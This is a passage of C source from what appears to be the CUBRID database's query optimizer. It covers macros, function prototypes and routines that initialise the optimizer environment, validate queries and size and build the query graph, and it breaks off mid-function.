#define SIZEOF_INDEX(n) \
(sizeof(QO_INDEX) + (((n)-1)* sizeof(QO_INDEX_ENTRY)))
/*
* Figure out how many bytes a QO_CLASS_INFO struct with n entries requires.
*/
#define SIZEOF_CLASS_INFO(n) \
(sizeof(QO_CLASS_INFO) + (((n)-1) * sizeof(QO_CLASS_INFO_ENTRY)))
/*
* Figure out how many bytes a pkeys[] struct with n entries requires.
*/
#define SIZEOF_ATTR_CUM_STATS_PKEYS(n) \
((n) * sizeof(int))
#define NOMINAL_HEAP_SIZE(class) 200 /* pages */
#define NOMINAL_OBJECT_SIZE(class) 64 /* bytes */
/* Figure out how many bytes a QO_NODE_INDEX struct with n entries requires. */
#define SIZEOF_NODE_INDEX(n) \
(sizeof(QO_NODE_INDEX) + (((n)-1)* sizeof(QO_NODE_INDEX_ENTRY)))
#define EXCHANGE_BUILDER(type,e0,e1) \
do { type _tmp = e0; e0 = e1; e1 = _tmp; } while (0)
#define TERMCLASS_EXCHANGE(e0,e1) EXCHANGE_BUILDER(QO_TERMCLASS,e0,e1)
#define DOUBLE_EXCHANGE(e0,e1) EXCHANGE_BUILDER(double,e0,e1)
#define PT_NODE_EXCHANGE(e0,e1) EXCHANGE_BUILDER(PT_NODE *,e0,e1)
#define INT_EXCHANGE(e0,e1) EXCHANGE_BUILDER(int,e0,e1)
#define SEGMENTPTR_EXCHANGE(e0,e1) EXCHANGE_BUILDER(QO_SEGMENT *,e0,e1)
#define NODEPTR_EXCHANGE(e0,e1) EXCHANGE_BUILDER(QO_NODE *,e0,e1)
#define EQCLASSPTR_EXCHANGE(e0,e1) EXCHANGE_BUILDER(QO_EQCLASS *,e0,e1)
#define BOOL_EXCHANGE(e0,e1) EXCHANGE_BUILDER(bool,e0,e1)
#define JOIN_TYPE_EXCHANGE(e0,e1) EXCHANGE_BUILDER(JOIN_TYPE,e0,e1)
#define FLAG_EXCHANGE(e0,e1) EXCHANGE_BUILDER(int,e0,e1)
#define INT_PTR_EXCHANGE(e0,e1) EXCHANGE_BUILDER(int *,e0,e1)
#define BISET_EXCHANGE(s0,s1) \
do { \
BITSET tmp; \
BITSET_MOVE(tmp, s0); \
BITSET_MOVE(s0, s1); \
BITSET_MOVE(s1, tmp); \
} while (0)
#define PUT_FLAG(cond, flag) \
do { \
if (cond) { \
if (extra_info++) { \
fputs(flag, f); \
} else { \
fputs(" (", f); \
fputs(flag, f); \
} \
} \
} while (0)
typedef enum
{
QO_BUILD_ENTITY = 0x01, /* 0000 0001 */
QO_BUILD_PATH = 0x02 /* 0000 0010 */
} QO_BUILD_STATUS;
typedef struct walk_info WALK_INFO;
struct walk_info
{
QO_ENV *env;
QO_TERM *term;
};
double QO_INFINITY = 0.0;
static QO_PLAN *qo_optimize_helper (QO_ENV * env);
static QO_NODE *qo_add_node (PT_NODE * entity, QO_ENV * env);
static QO_SEGMENT *qo_insert_segment (QO_NODE * head, QO_NODE * tail, PT_NODE * node, QO_ENV * env,
const char *expr_str);
static QO_SEGMENT *qo_join_segment (QO_NODE * head, QO_NODE * tail, PT_NODE * name, QO_ENV * env);
static PT_NODE *qo_add_final_segment (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk);
static QO_TERM *qo_add_term (PT_NODE * conjunct, int term_type, QO_ENV * env);
static void qo_add_dep_term (QO_NODE * derived_node, BITSET * depend_nodes, BITSET * depend_segs, QO_ENV * env);
static QO_TERM *qo_add_dummy_join_term (QO_ENV * env, QO_NODE * p_node, QO_NODE * on_node);
static void qo_analyze_term (QO_TERM * term, int term_type);
static PT_NODE *set_seg_expr (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk);
static void set_seg_node (PT_NODE * attr, QO_ENV * env, BITSET * bitset);
static QO_ENV *qo_env_init (PARSER_CONTEXT * parser, PT_NODE * query);
static bool qo_validate (QO_ENV * env);
static PT_NODE *build_query_graph (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk);
static PT_NODE *build_query_graph_post (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk);
static PT_NODE *build_query_graph_function_index (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg,
int *continue_walk);
static QO_NODE *build_graph_for_entity (QO_ENV * env, PT_NODE * entity, QO_BUILD_STATUS status);
static PT_NODE *graph_size_select (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk);
static void graph_size_for_entity (QO_ENV * env, PT_NODE * entity);
static bool is_dependent_table (PT_NODE * entity);
static void get_term_subqueries (QO_ENV * env, QO_TERM * term);
static void get_term_rank (QO_ENV * env, QO_TERM * term);
static PT_NODE *check_subquery_pre (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static bool is_local_name (QO_ENV * env, PT_NODE * expr);
static void get_local_subqueries (QO_ENV * env, PT_NODE * tree);
static void get_rank (QO_ENV * env);
static PT_NODE *get_referenced_attrs (PT_NODE * entity);
static bool expr_is_mergable (PT_NODE * pt_expr);
static bool qo_is_equi_join_term (QO_TERM * term);
static void add_hint (QO_ENV * env, PT_NODE * tree);
static void add_using_index (QO_ENV * env, PT_NODE * using_index);
static int get_opcode_rank (PT_OP_TYPE opcode);
static int get_expr_fcode_rank (FUNC_TYPE fcode);
static int get_operand_rank (PT_NODE * node);
static int count_classes (PT_NODE * p);
static QO_CLASS_INFO_ENTRY *grok_classes (QO_ENV * env, PT_NODE * dom_set, QO_CLASS_INFO_ENTRY * info);
static int qo_data_compare (DB_DATA * data1, DB_DATA * data2, DB_TYPE type);
static void qo_estimate_statistics (MOP class_mop, CLASS_STATS *);
static void qo_node_free (QO_NODE *);
static void qo_node_dump (QO_NODE *, FILE *);
static void qo_node_add_sarg (QO_NODE *, QO_TERM *);
static void qo_seg_free (QO_SEGMENT *);
static QO_EQCLASS *qo_eqclass_new (QO_ENV *);
static void qo_eqclass_free (QO_EQCLASS *);
static void qo_eqclass_add (QO_EQCLASS *, QO_SEGMENT *);
static void qo_eqclass_dump (QO_EQCLASS *, FILE *);
static void qo_term_free (QO_TERM *);
static void qo_term_dump (QO_TERM *, FILE *);
static void qo_subquery_dump (QO_ENV *, QO_SUBQUERY *, FILE *);
static void qo_subquery_free (QO_SUBQUERY *);
static void qo_partition_init (QO_ENV *, QO_PARTITION *, int);
static void qo_partition_free (QO_PARTITION *);
static void qo_partition_dump (QO_PARTITION *, FILE *);
static void qo_find_index_terms (QO_ENV * env, BITSET * segsp, QO_INDEX_ENTRY * index_entry);
static void qo_find_index_seg_terms (QO_ENV * env, QO_INDEX_ENTRY * index_entry, int idx, BITSET * index_segsp);
static bool qo_find_index_segs (QO_ENV *, SM_CLASS_CONSTRAINT *, QO_NODE *, int *, int, int *, BITSET *);
static bool qo_is_coverage_index (QO_ENV * env, QO_NODE * nodep, QO_INDEX_ENTRY * index_entry);
static void qo_find_node_indexes (QO_ENV *, QO_NODE *);
static int is_equivalent_indexes (QO_INDEX_ENTRY * index1, QO_INDEX_ENTRY * index2);
static int qo_find_matching_index (QO_INDEX_ENTRY * index_entry, QO_INDEX * class_indexes);
static QO_INDEX_ENTRY *is_index_compatible (QO_CLASS_INFO * class_info, int n, QO_INDEX_ENTRY * index_entry);
static void qo_discover_sort_limit_nodes (QO_ENV * env);
static void qo_equivalence (QO_SEGMENT *, QO_SEGMENT *);
static void qo_seg_nodes (QO_ENV *, BITSET *, BITSET *);
static QO_ENV *qo_env_new (PARSER_CONTEXT *, PT_NODE *);
static void qo_discover_partitions (QO_ENV *);
static void qo_discover_indexes (QO_ENV *);
static void qo_assign_eq_classes (QO_ENV *);
static void qo_discover_edges (QO_ENV *);
static void qo_classify_outerjoin_terms (QO_ENV *);
static void qo_term_clear (QO_ENV *, int);
static void qo_seg_clear (QO_ENV *, int);
static void qo_node_clear (QO_ENV *, int);
static void qo_get_index_info (QO_ENV * env, QO_NODE * node);
static void qo_free_index (QO_ENV * env, QO_INDEX *);
static QO_INDEX *qo_alloc_index (QO_ENV * env, int);
static void qo_free_node_index_info (QO_ENV * env, QO_NODE_INDEX * node_indexp);
static void qo_free_attr_info (QO_ENV * env, QO_ATTR_INFO * info);
static QO_ATTR_INFO *qo_get_attr_info (QO_ENV * env, QO_SEGMENT * seg);
static QO_ATTR_INFO *qo_get_attr_info_func_index (QO_ENV * env, QO_SEGMENT * seg, const char *expr_str);
static void qo_free_class_info (QO_ENV * env, QO_CLASS_INFO *);
static QO_CLASS_INFO *qo_get_class_info (QO_ENV * env, QO_NODE * node);
static QO_SEGMENT *qo_eqclass_wrt (QO_EQCLASS *, BITSET *);
static void qo_env_dump (QO_ENV *, FILE *);
static int qo_get_ils_prefix_length (QO_ENV * env, QO_NODE * nodep, QO_INDEX_ENTRY * index_entry);
static bool qo_is_iss_index (QO_ENV * env, QO_NODE * nodep, QO_INDEX_ENTRY * index_entry);
static void qo_discover_sort_limit_join_nodes (QO_ENV * env, QO_NODE * nodep, BITSET * order_nodes, BITSET * dep_nodes);
static bool qo_is_pk_fk_full_join (QO_ENV * env, QO_NODE * fk_node, QO_NODE * pk_node);
static bool qo_is_non_mvcc_class_with_index (QO_CLASS_INFO_ENTRY * class_entry_p);
/*
* qo_get_optimization_param () - Return the current value of some (global)
* optimization parameter
* return: int
* retval(in): pointer to area to receive info
* param(in): what parameter to retrieve
* ...(in): parameter-specific parameters
*/
void
qo_get_optimization_param (void *retval, QO_PARAM param, ...)
{
char *buf;
va_list args;
va_start (args, param);
switch (param)
{
case QO_PARAM_LEVEL:
*(int *) retval = prm_get_integer_value (PRM_ID_OPTIMIZATION_LEVEL);
break;
case QO_PARAM_COST:
buf = (char *) retval;
buf[0] = (char) qo_plan_get_cost_fn (va_arg (args, char *));
buf[1] = '\0';
break;
}
va_end (args);
}
/*
* qo_need_skip_execution (void) - check execution level and return skip or not
*
* return: bool
*/
bool
qo_need_skip_execution (void)
{
int level;
qo_get_optimization_param (&level, QO_PARAM_LEVEL);
return level & 0x02;
}
/*
* qo_set_optimization_param () - Return the old value of some (global)
* optimization param, and set the global
* param to the new value
* return: int
* retval(in): pointer to area to receive info about old value
* param(in): what parameter to retrieve
* ...(in): parameter-specific parameters
*/
void
qo_set_optimization_param (void *retval, QO_PARAM param, ...)
{
va_list args;
va_start (args, param);
switch (param)
{
case QO_PARAM_LEVEL:
if (retval)
{
*(int *) retval = prm_get_integer_value (PRM_ID_OPTIMIZATION_LEVEL);
}
prm_set_integer_value (PRM_ID_OPTIMIZATION_LEVEL, va_arg (args, int));
break;
case QO_PARAM_COST:
{
const char *plan_name;
int cost_fn;
plan_name = va_arg (args, char *);
cost_fn = va_arg (args, int);
plan_name = qo_plan_set_cost_fn (plan_name, cost_fn);
if (retval)
{
*(const char **) retval = plan_name;
}
break;
}
}
va_end (args);
}
/*
* qo_optimize_query () - optimize a single select statement, skip nested
* selects since embedded selects are optimized first
* return: void
* parser(in): parser environment
* tree(in): select tree to optimize
*/
QO_PLAN *
qo_optimize_query (PARSER_CONTEXT * parser, PT_NODE * tree)
{
QO_ENV *env;
int level;
/*
* Give up right away if the optimizer has been turned off in the
* user's cubrid.conf file or somewhere else.
*/
qo_get_optimization_param (&level, QO_PARAM_LEVEL);
if (!OPTIMIZATION_ENABLED (level))
{
return NULL;
}
/* if its not a select, we're not interested, also if it is merge we give up. */
if (tree->node_type != PT_SELECT)
{
return NULL;
}
env = qo_env_init (parser, tree);
if (env == NULL)
{
/* we can't optimize, so bail out */
return NULL;
}
switch (setjmp (env->catch_))
{
case 0:
/*
* The return here is ok; we'll take care of freeing the env structure later, when qo_plan_discard is called.
* In fact, if we free it now, the plan pointer we're about to return will be worthless.
*/
return qo_optimize_helper (env);
case 1:
/*
* Out of memory during optimization. malloc() has already done an er_set().
*/
break;
case 2:
/*
* Failed some optimizer assertion. QO_ABORT() has already done an er_set().
*/
break;
default:
/*
* No clue.
*/
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_FAILED_ASSERTION, 1, "false");
break;
}
/*
* If we get here, an error of some sort occurred, and we need to tear down everything and get out.
*/
#if defined(CUBRID_DEBUG)
fprintf (stderr, "*** optimizer aborting ***\n");
#endif /* CUBRID_DEBUG */
qo_env_free (env);
return NULL;
}
/*
* qo_optimize_helper () -
* return:
* env(in):
*/
static QO_PLAN *
qo_optimize_helper (QO_ENV * env)
{
PARSER_CONTEXT *parser;
PT_NODE *tree;
PT_NODE *spec, *conj, *next;
QO_ENV *local_env; /* So we can safely take its address */
QO_PLAN *plan;
int level;
QO_TERM *term;
QO_NODE *node, *p_node;
BITSET nodeset;
int n;
parser = QO_ENV_PARSER (env);
tree = QO_ENV_PT_TREE (env);
local_env = env;
(void) parser_walk_tree (parser, tree, build_query_graph, &local_env, build_query_graph_post, &local_env);
(void) parser_walk_tree (parser, tree, build_query_graph_function_index, &local_env, NULL, NULL);
(void) add_hint (env, tree);
add_using_index (env, tree->info.query.q.select.using_index);
/* add dep term */
{
BITSET dependencies;
BITSET antecedents;
bitset_init (&dependencies, env);
bitset_init (&antecedents, env);
for (n = 0; n < env->nnodes; n++)
{
node = QO_ENV_NODE (env, n);
spec = QO_NODE_ENTITY_SPEC (node);
/*
* Set up the dependencies; it's simplest just to assume that a
* dependent table depends on everything that precedes it.
*/
if (is_dependent_table (spec))
{
/*
* Find all of the segments (i.e., attributes) referenced in
* the derived table expression, and then find the set of
* nodes that underly those segments. This node can't be
* added to a join plan before all of those nodes have, so we
* establish some artificial dependency links that force the
* planner to maintain that constraint.
*/
BITSET_CLEAR (dependencies);
BITSET_CLEAR (antecedents);
qo_expr_segs (env, spec->info.spec.derived_table, &dependencies);
if (!bitset_is_empty (&dependencies))
{
qo_seg_nodes (env, &dependencies, &antecedents);
qo_add_dep_term (node, &antecedents, &dependencies, env);
}
}
} /* for (n = 0 ...) */
bitset_delset (&dependencies);
bitset_delset (&antecedents);
}
bitset_init (&nodeset, env);
/* add term in the ON clause */
for (spec = tree->info.query.q.select.from; spec; spec = spec->next)
{
if (spec->node_type == PT_SPEC && spec->info.spec.on_cond)
{
for (conj = spec->info.spec.on_cond; conj; conj = conj->next)
{
next = conj->next;
conj->next = NULL;
/* The conjuct could be PT_VALUE(0) if an explicit join condition was derived/transformed to the
* always-false search condition when type checking, expression evaluation or query rewrite
* transformation. We should sustained it for correct join plan. It's different from ordinary WHERE
* search condition. If an always-false search condition was found in WHERE clause, they did not call
* query optimization and return no result to the user unless the query doesn't have aggregation.
*/
term = qo_add_term (conj, PREDICATE_TERM, env);
if (QO_TERM_CLASS (term) == QO_TC_JOIN)
{
QO_ASSERT (env, QO_ON_COND_TERM (term));
n = QO_TERM_LOCATION (term);
if (QO_NODE_LOCATION (QO_TERM_HEAD (term)) == n - 1 && QO_NODE_LOCATION (QO_TERM_TAIL (term)) == n)
{
bitset_add (&nodeset, QO_NODE_IDX (QO_TERM_TAIL (term)));
}
}
conj->next = next;
}
}
}
/* add term in the WHERE clause */
for (conj = tree->info.query.q.select.where; conj; conj = conj->next)
{
next = conj->next;
conj->next = NULL;
term = qo_add_term (conj, PREDICATE_TERM, env);
conj->next = next;
}
for (n = 1; n < env->nnodes; n++)
{
node = QO_ENV_NODE (env, n);
/* check join-edge for explicit join */
if (QO_NODE_PT_JOIN_TYPE (node) != PT_JOIN_NONE && QO_NODE_PT_JOIN_TYPE (node) != PT_JOIN_CROSS
&& !BITSET_MEMBER (nodeset, n))
{
p_node = QO_ENV_NODE (env, n - 1);
(void) qo_add_dummy_join_term (env, p_node, node);
/* Is it safe to pass node[n-1] as head node? Yes, because the sequence of QO_NODEs corresponds to the
* sequence of PT_SPEC list
*/
}
}
/* classify terms for outer join */
qo_classify_outerjoin_terms (env);
bitset_delset (&nodeset);
(void) parser_walk_tree (parser, tree->info.query.q.select.list, qo_add_final_segment, &local_env, pt_continue_walk,
NULL);
(void) parser_walk_tree (parser, tree->info.query.q.select.group_by, qo_add_final_segment, &local_env,
pt_continue_walk, NULL);
(void) parser_walk_tree (parser, tree->info.query.q.select.having, qo_add_final_segment, &local_env, pt_continue_walk,
NULL);
/* it's necessary to find segments for nodes in predicates that are evaluated after joins, in order to be available
* in intermediary output lists
*/
if (tree->info.query.q.select.connect_by && !tree->info.query.q.select.single_table_opt)
{
(void) parser_walk_tree (parser, tree->info.query.q.select.start_with, qo_add_final_segment, &local_env,
pt_continue_walk, NULL);
(void) parser_walk_tree (parser, tree->info.query.q.select.connect_by, qo_add_final_segment, &local_env,
pt_continue_walk, NULL);
(void) parser_walk_tree (parser, tree->info.query.q.select.after_cb_filter, qo_add_final_segment, &local_env,
pt_continue_walk, NULL);
}
/* finish the rest of the opt structures */
qo_discover_edges (env);
/* Don't do these things until *after* qo_discover_edges(); that function may rearrange the QO_TERM structures that
* were discovered during the earlier phases, and anyone who grabs the idx of one of the terms (or even a pointer to
* one) will be pointing to the wrong term after they're rearranged.
*/
qo_assign_eq_classes (env);
get_local_subqueries (env, tree);
get_rank (env);
qo_discover_indexes (env);
qo_discover_partitions (env);
qo_discover_sort_limit_nodes (env);
/* now optimize */
plan = qo_planner_search (env);
/* need to set est_card for the select in case it is a subquery */
/*
* Print out any needed post-optimization info. Leave a way to find
* out about environment info if we aren't able to produce a plan.
* If this happens in the field at least we'll be able to glean some info.
*/
qo_get_optimization_param (&level, QO_PARAM_LEVEL);
if (plan && PLAN_DUMP_ENABLED (level) && DETAILED_DUMP (level) && env->plan_dump_enabled)
{
qo_env_dump (env, query_Plan_dump_fp);
}
if (plan == NULL)
{
qo_env_free (env);
}
return plan;
}
/*
* qo_env_init () - initialize an optimizer environment
* return: QO_ENV *
* parser(in): parser environment
* query(in): A pointer to a PT_NODE structure that describes the query to be optimized
*/
static QO_ENV *
qo_env_init (PARSER_CONTEXT * parser, PT_NODE * query)
{
QO_ENV *env;
int i;
size_t size;
if (query == NULL)
{
return NULL;
}
env = qo_env_new (parser, query);
if (env == NULL)
{
return NULL;
}
if (qo_validate (env))
{
goto error;
}
env->segs = NULL;
if (env->nsegs > 0)
{
size = sizeof (QO_SEGMENT) * env->nsegs;
env->segs = (QO_SEGMENT *) malloc (size);
if (env->segs == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, size);
goto error;
}
}
env->nodes = NULL;
if (env->nnodes > 0)
{
size = sizeof (QO_NODE) * env->nnodes;
env->nodes = (QO_NODE *) malloc (size);
if (env->nodes == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, size);
goto error;
}
}
env->terms = NULL;
if (env->nterms > 0)
{
size = sizeof (QO_TERM) * env->nterms;
env->terms = (QO_TERM *) malloc (size);
if (env->terms == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, size);
goto error;
}
}
env->eqclasses = NULL;
size = sizeof (QO_EQCLASS) * (MAX (env->nnodes, env->nterms) + env->nsegs);
if (size > 0)
{
env->eqclasses = (QO_EQCLASS *) malloc (size);
if (env->eqclasses == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, size);
goto error;
}
}
env->partitions = NULL;
if (env->nnodes > 0)
{
size = sizeof (QO_PARTITION) * env->nnodes;
env->partitions = (QO_PARTITION *) malloc (size);
if (env->partitions == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1, size);
goto error;
}
}
for (i = 0; i < env->nsegs; ++i)
{
qo_seg_clear (env, i);
}
for (i = 0; i < env->nnodes; ++i)
{
qo_node_clear (env, i);
}
for (i = 0; i < env->nterms; ++i)
{
qo_term_clear (env, i);
}
env->Nnodes = env->nnodes;
env->Nsegs = env->nsegs;
env->Nterms = env->nterms;
env->Neqclasses = MAX (env->nnodes, env->nterms) + env->nsegs;
env->nnodes = 0;
env->nsegs = 0;
env->nterms = 0;
env->neqclasses = 0;
QO_INFINITY = UTIL_infinity ();
return env;
error:
qo_env_free (env);
return NULL;
}
/*
* qo_validate () -
* return: true iff we reject the query, false otherwise
* env(in): A pointer to the environment we are working on
*
* Note: Determine whether this is a problem that we're willing to
* work on. Right now, this means enforcing the constraints
* about maximum set sizes. We're not very happy with
* set-valued attributes, class attributes, or shared attributes
* either, but these are temporary problems and are detected
* elsewhere.
*/
static bool
qo_validate (QO_ENV * env)
{
#define OPTIMIZATION_LIMIT 64
PT_NODE *tree, *spec, *conj;
tree = QO_ENV_PT_TREE (env);
/* find out how many nodes and segments will be required for the query graph. */
(void) parser_walk_tree (env->parser, tree, graph_size_select, &env, pt_continue_walk, NULL);
/* count the number of conjuncts in the ON clause */
for (spec = tree->info.query.q.select.from; spec; spec = spec->next)
{
if (spec->node_type == PT_SPEC && spec->info.spec.on_cond)
{
for (conj = spec->info.spec.on_cond; conj; conj = conj->next)
{
if (conj->node_type != PT_EXPR && conj->node_type != PT_VALUE)
{ /* for outer join */
env->bail_out = 1;
return true;
}
env->nterms++;
}
}
}
/* count the number of conjuncts in the WHERE clause */
for (conj = tree->info.query.q.select.where; conj; conj = conj->next)
{
if (conj->node_type != PT_EXPR && conj->node_type != PT_VALUE /* is a false conjunct */ )
{
env->bail_out = 1;
return true;
}
env->nterms++;
}
if (env->nnodes > OPTIMIZATION_LIMIT)
{
return true;
}
return false;
}
/*
* graph_size_select () - This pre walk function will examine the current
* select and determine the graph size needed for it
* return: PT_NODE *
* parser(in): parser environment
* tree(in): tree to walk
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
graph_size_select (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
QO_ENV *env = *(QO_ENV **) arg;
*continue_walk = PT_CONTINUE_WALK;
/*
* skip nested selects, they've already been counted
*/
if ((tree->node_type == PT_SELECT) && (tree != env->pt_tree))
{
*continue_walk = PT_LIST_WALK;
return tree;
}
/* if its not an entity_spec, we're not interested */
if (tree->node_type != PT_SPEC)
{
return tree;
}
(void) graph_size_for_entity (env, tree);
/* don't visit leaves of the entity, graph_size_for_entity already did */
*continue_walk = PT_LIST_WALK;
return tree;
}
/*
* graph_size_for_entity () - This routine will size the graph for the entity
* return: nothing
* env(in): optimizer environment
* entity(in): entity to build the graph for
*
* Note: This routine mimics build_graph_for_entity. It is IMPORTANT that
* they remain in sync or else we might not allocate enough space for
* the graph arrays resulting in memory corruption.
*/
static void
graph_size_for_entity (QO_ENV * env, PT_NODE * entity)
{
PT_NODE *name, *conj, *next_entity;
MOP cls;
SM_CLASS_CONSTRAINT *constraints;
env->nnodes++;
/* create oid segment for the entity */
env->nsegs++;
for (name = get_referenced_attrs (entity); name != NULL; name = name->next)
{
env->nsegs++;
}
/* check if the constraint is a function index info and add a segment for each function index expression */
if (entity->info.spec.flat_entity_list)
{
cls = sm_find_class (entity->info.spec.flat_entity_list->info.name.original);
if (cls)
{
constraints = sm_class_constraints (cls);
while (constraints != NULL)
{
if (constraints->func_index_info)
{
env->nsegs++;
}
constraints = constraints->next;
}
}
}
if (is_dependent_table (entity))
{
env->nterms += env->nnodes;
}
/* recurse and size the graph for path entities */
for (next_entity = entity->info.spec.path_entities; next_entity != NULL; next_entity = next_entity->next)
{
(void) graph_size_for_entity (env, next_entity);
}
/* create a term for each conjunct in the entity's path_conjuncts */
for (conj = entity->info.spec.path_conjuncts; conj != NULL; conj = conj->next)
{
env->nterms++;
}
/* reserve space for explicit join dummy term */
switch (entity->info.spec.join_type)
{
case PT_JOIN_INNER:
/* reserve dummy inner join term */
env->nterms++;
/* reserve additional always-false sarg */
env->nterms++;
break;
case PT_JOIN_LEFT_OUTER:
case PT_JOIN_RIGHT_OUTER:
case PT_JOIN_FULL_OUTER:
/* reserve dummy outer join term */
env->nterms++;
break;
default:
break;
}
}
/*
* build_query_graph () - This pre walk function will build the portion of the
* query graph for each entity in the entity_list (from list)
* return: PT_NODE *
* parser(in): parser environment
* tree(in): tree to walk
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
build_query_graph (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
QO_ENV *env = *(QO_ENV **) arg;
*continue_walk = PT_CONTINUE_WALK;
/*
* skip nested selects, they've already been done and are
* constant with respect to the current select statement
*/
if ((tree->node_type == PT_SELECT) && (tree != env->pt_tree))
{
*continue_walk = PT_LIST_WALK;
return tree;
}
/* if its not an entity_spec, we're not interested */
if (tree->node_type != PT_SPEC)
{
return tree;
}
(void) build_graph_for_entity (env, tree, QO_BUILD_ENTITY);
/* don't visit leaves of the entity, build_graph_for_entity already did */
*continue_walk = PT_LIST_WALK;
return tree;
}
/*
* build_query_graph_post () - This post walk function will build the portion
* of the query graph for each path-entity in the entity_list (from list)
* return:
* parser(in): parser environment
* tree(in): tree to walk
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
build_query_graph_post (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
QO_ENV *env = *(QO_ENV **) arg;
*continue_walk = PT_CONTINUE_WALK;
/* if its not an entity_spec, we're not interested */
if (tree->node_type != PT_SPEC)
{
return tree;
}
(void) build_graph_for_entity (env, tree, QO_BUILD_PATH);
return tree;
}
/*
* build_query_graph_function_index () - This pre walk function will search the tree for expressions that match
* expressions used in function indexes.
* For such matched expressions, a corresponding segment is added to the query graph.
* return: PT_NODE *
* parser(in): parser environment
* tree(in): tree to walk
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
build_query_graph_function_index (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
PT_NODE *entity = NULL;
UINTPTR spec_id = 0;
int i, k;
MOP cls;
SM_CLASS_CONSTRAINT *constraints;
QO_SEGMENT *seg;
QO_NODE *node = NULL;
QO_SEGMENT *seg_fi;
const char *seg_name;
QO_ENV *env = *(QO_ENV **) arg;
*continue_walk = PT_CONTINUE_WALK;
if (pt_is_function_index_expr (parser, tree, false))
{
if (!pt_is_join_expr (tree, &spec_id))
{
for (i = 0; i < env->nnodes; i++)
{
node = QO_ENV_NODE (env, i);
entity = QO_NODE_ENTITY_SPEC (node);
if (entity->info.spec.id == spec_id)
{
break; /* found the node */
}
}
if (entity != NULL && entity->info.spec.entity_name
&& entity->info.spec.entity_name->node_type == PT_NAME
&& ((cls = sm_find_class (entity->info.spec.entity_name->info.name.original)) != NULL))
{
constraints = sm_class_constraints (cls);
k = 0;
while (constraints != NULL)
{
if (constraints->func_index_info)
{
char *expr_str = parser_print_function_index_expr (env->parser, tree);
if (expr_str != NULL
&& !intl_identifier_casecmp (expr_str, constraints->func_index_info->expr_str))
{
for (i = 0; i < env->nsegs; i++)
{
seg_fi = QO_ENV_SEG (env, i);
seg_name = QO_SEG_NAME (seg_fi);
if ((QO_SEG_FUNC_INDEX (seg_fi) == true)
&& !intl_identifier_casecmp (seg_name, constraints->func_index_info->expr_str))
{
/* Also need to check whether the class alias names are matched. */
if (!intl_identifier_casecmp (node->class_name, QO_SEG_HEAD (seg_fi)->class_name))
{
/* segment already exists */
break;
}
}
}
if (i == env->nsegs)
{
seg = qo_insert_segment (node, NULL, tree, env, expr_str);
QO_SEG_FUNC_INDEX (seg) = true;
QO_SEG_NAME (seg) = strdup (constraints->func_index_info->expr_str);
if (QO_SEG_NAME (seg) == NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_OUT_OF_VIRTUAL_MEMORY, 1,
(size_t) (strlen (constraints->func_index_info->expr_str) + 1));
*continue_walk = PT_STOP_WALK;
return tree;
}
}
}
}
constraints = constraints->next;
k++;
}
}
}
}
return tree;
}
/*
* build_graph_for_entity () - This routine will create nodes and segments
* based on the parse tree entity
* return: QO_NODE *
* env(in): optimizer environment
* entity(in): entity to build the graph for
* status(in):
*
* Note: Any changes made to this routine should be reflected in
* graph_size_for_entity. They must remain in sync or else we might not
* allocate enough space for the graph arrays resulting in memory
* corruption.
*/
static QO_NODE *
build_graph_for_entity (QO_ENV * env, PT_NODE * entity, QO_BUILD_STATUS status)
{
PARSER_CONTEXT *parser;
QO_NODE *node = NULL, *next_node;
PT_NODE *name, *next_entity, *attr, *attr_list;
QO_SEGMENT *seg;
parser = QO_ENV_PARSER (env);
if (!(status & QO_BUILD_ENTITY))
{
int i;
for (i = 0; i < env->nnodes; i++)
{
node = QO_ENV_NODE (env, i);
if (QO_NODE_ENTITY_SPEC (node) == entity)
{
break; /* found the node */
}
}
goto build_path;
}
node = qo_add_node (entity, env);
attr_list = get_referenced_attrs (entity);
/*
* Find the PT_NAME corresponding to this entity spec (i.e., the
* PT_NODE that we want backing the oid segment we're about to
* create), if such exists.
*/
for (attr = attr_list; attr && !PT_IS_OID_NAME (attr); attr = attr->next)
{
;
}
/*
* 'attr' will be non-null iff the oid "attribute" of the class
* is explicitly used in some way, e.g., in a comparison or a projection.
* If it is non-null, it will be created with the rest of the symbols.
*
* If it is null, we'll make one unless we're dealing with a derived
* table.
*/
if (attr == NULL && entity->info.spec.derived_table == NULL && entity->info.spec.entity_name)
{
attr = parser_new_node (parser, PT_NAME);
if (attr == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
attr->info.name.resolved = entity->info.spec.flat_entity_list->info.name.original;
attr->info.name.original = "";
attr->info.name.spec_id = entity->info.spec.id;
attr->info.name.meta_class = PT_OID_ATTR;
/* create oid segment for the entity */
seg = qo_insert_segment (node, NULL, attr, env, NULL);
QO_SEG_SET_VALUED (seg) = false; /* oid segments aren't set valued */
QO_SEG_CLASS_ATTR (seg) = false; /* oid segments aren't class attrs */
QO_SEG_SHARED_ATTR (seg) = false; /* oid segments aren't shared attrs */
}
/*
